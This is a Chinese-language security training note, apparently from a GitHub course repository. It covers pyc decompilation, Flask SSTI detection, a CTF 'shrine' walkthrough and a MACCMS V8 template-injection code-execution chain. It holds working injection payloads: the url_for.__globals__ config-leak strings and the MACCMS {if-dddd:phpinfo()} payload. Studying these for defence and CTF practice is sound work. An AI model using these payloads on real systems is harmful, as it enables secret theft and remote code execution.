Skip to content

Files

Latest commit

f161c04 · Aug 4, 2024

History

History
155 lines (110 loc) · 6.12 KB

23-WEB攻防-Python考点&CTF与CMS-SSTI模版注入&&PYC反编译.md

File metadata and controls

155 lines (110 loc) · 6.12 KB

img

img

img

#知识点:
1、PYC文件反编译
2、Python-Web-SSTI
3、SSTI模版注入利用分析
  • PY反编译-PYC编译文件反编译源码

判断是不是python开发:

img

pyc文件是py文件编译后生成的字节码文件(byte code),pyc文件经过python解释器最终会生成机器码运行。因此pyc文件是可以跨平台部署的,类似Java的.class文件,一般py文件改变后,都会重新生成pyc文件。
真题附件:http://pan.baidu.com/s/1jGpB8DS
反编译平台:
https://tool.lu/pyc/ 
http://tools.bugscaner.com/decompyle/
反编译工具:https://github.com/wibiti/uncompyle2
一般在CTF上,真实上很难遇到。类似.class文件等,PHP可以直接打包,但是.net和.class,.pyc需要解密才能得到源代码。
  • SSTI入门-原理&分类&检测&分析&利用
1、什么是SSTI?有什么漏洞危害?
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
2、如何判断检测SSTI漏洞的存在?
-输入的数据会被浏览器利用当前脚本语言调用解析执行
3、SSTI会产生在那些语言开发应用?
-见上图
4、SSTI安全问题在生产环境那里产生?
-存在模版引用的地方,如404错误页面展示
-存在数据接收引用的地方,如模版解析获取参数数据

报错的时候存在数据接受,把变量输入进去,解析模板的时候出现问题。

web应用是有很多模板,它是一个显示样式的东西。
切换样式后,数据一样都存在的。
样式代码:
 <div class="center-content error">
 <h1>Oops! That page doesn't exist.</h1>
 <h3>%s</h3>
 </div> 
%s是一个可控的值,留给数据库去操作,取出数据去显示,不能写死。可以写上payload,让代码进行执行。
运行程序,访问本地5000端口。

img

如果访问出错地址,

img

源代码接受:

img

构造报错:http://192.168.0.113:5000/njkncd?404_url=1

img

访问http://192.168.0.113:5000/njkncd?404_url={{2-2}} :2-2被代入python执行。

img

  • SSTI考点-CTF靶场-[WesternCTF]shrine
1、源码分析SSTI考点
2、测试判断SSTI存在
3、分析代码过滤和FLAG存储
4、利用Flask两个函数利用获取
https://blog.csdn.net/houyanhua1/article/details/85470175
url_for()函数是用于构建操作指定函数的URL
get_flashed_messages()函数是获取传递过来的数据
/shrine/{{url_for.__globals__}}
/shrine/{{url_for.__globals__['current_app'].config}}
/shrine/{{get_flashed_messages.__globals__}}
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

img

发现关键性过滤
 s = s.replace('(', '').replace(')', '')
模板执行函数
render_template_string

判断存在:执行:http://b2014503-8276-429e-8d09-b1b38af83d43.node4.buuoj.cn:81/shrine/%7B%7B2-2%7D%7D

img

• 获取当前脚本所有的全局变量:http://b2014503-8276-429e-8d09-b1b38af83d43.node4.buuoj.cn:81/shrine/%7B%7Burl_for.__globals__%7D%7D

img

发现当前正在使用的APP:
<class 'flask.helpers._PackageBoundObject'>, 'current_app': <Flask 'app'>

img

http://b2014503-8276-429e-8d09-b1b38af83d43.node4.buuoj.cn:81/shrine/%7B%7Burl_for.__globals__['current_app'].config['FLAG']%7D%7D 得到flag

  • SSTI考点-CMS源码-MACCMS_V8.X执行
Payload:index.php?m=vod-search&wd={if-dddd:phpinfo()}{endif-dddd}
1、根据wd传递的代码找指向文件
2、index->vod->tpl->ifex->eval
3、构造Payload带入ifex并绕过后执行

m=vod-search
wd={if-dddd:phpinfo()}{endif-dddd} 

知道payload,推出漏洞成因
m传参:

img

定位到be函数:

img

发现包含文件:

img

输出$ac,发现是vod文件,然后找到vod.php文件
在vod.php发现wd传参:

img

跟踪tpl,指向ifex函数
跟踪ifex函数:

img

发现命令执行代码段